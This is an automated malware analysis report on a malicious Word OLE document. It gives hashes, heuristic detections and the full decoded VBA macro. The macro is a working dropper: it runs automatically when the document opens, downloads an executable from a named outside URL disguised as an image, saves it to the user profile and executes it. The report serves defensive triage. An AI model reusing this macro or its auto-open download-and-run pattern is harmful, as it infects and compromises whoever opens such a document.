Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 de9ca9175abcb6c4…

MALICIOUS

Office (OLE)

29.0 KB Created: 2014-07-01 16:56:00 Authoring application: Microsoft Office Word First seen: 2015-10-06
MD5: badcd251b98a0f26592291eaa1eabc50 SHA-1: 5f6e5b30bbac9f79de14e9135871b911a6a63779 SHA-256: de9ca9175abcb6c4d76b8035a89ae02e10fc99f1cfd36ec3c1d976561c5ff9fd
354 Risk Score

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell DMtjPKZbDiINOsDjnWMDQUaGD & "\FFFd.COM"
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write lOMwCMuTOYqPBHJNCl.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim lOMwCMuTOYqPBHJNCl: Set lOMwCMuTOYqPBHJNCl = CreateObject("Microsoft.XMLHTTP")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    DMtjPKZbDiINOsDjnWMDQUaGD = Environ("USERPROFILE")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.huismaes.be/fotos/rollover5.jpg Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1045 bytes
SHA-256: aec4a5fa276507fed236995ccf22548f00e1fbacbf671306818567e4a6f99eb8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
    hui
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub hui()
Dim DMtjPKZbDiINOsDjnWMDQUaGD As String
Dim vNFhXFNV_TueQRFNXVYWLqYTecVHXURZUNBDUyA As Integer
URL = "http://www.huismaes.be/fotos/rollover5.jpg"
DMtjPKZbDiINOsDjnWMDQUaGD = Environ("USERPROFILE")
Dim lOMwCMuTOYqPBHJNCl: Set lOMwCMuTOYqPBHJNCl = CreateObject("Microsoft.XMLHTTP")
Dim CSGDWYMVOOBASEd: Set CSGDWYMVOOBASEd = CreateObject("Adodb.Stream")
lOMwCMuTOYqPBHJNCl.Open "GET", URL, False
lOMwCMuTOYqPBHJNCl.Send
With CSGDWYMVOOBASEd
.Type = 1
.Open
.write lOMwCMuTOYqPBHJNCl.responseBody
.SaveToFile DMtjPKZbDiINOsDjnWMDQUaGD & "\FFFd.COM", 2
End With
Shell DMtjPKZbDiINOsDjnWMDQUaGD & "\FFFd.COM"
End Sub

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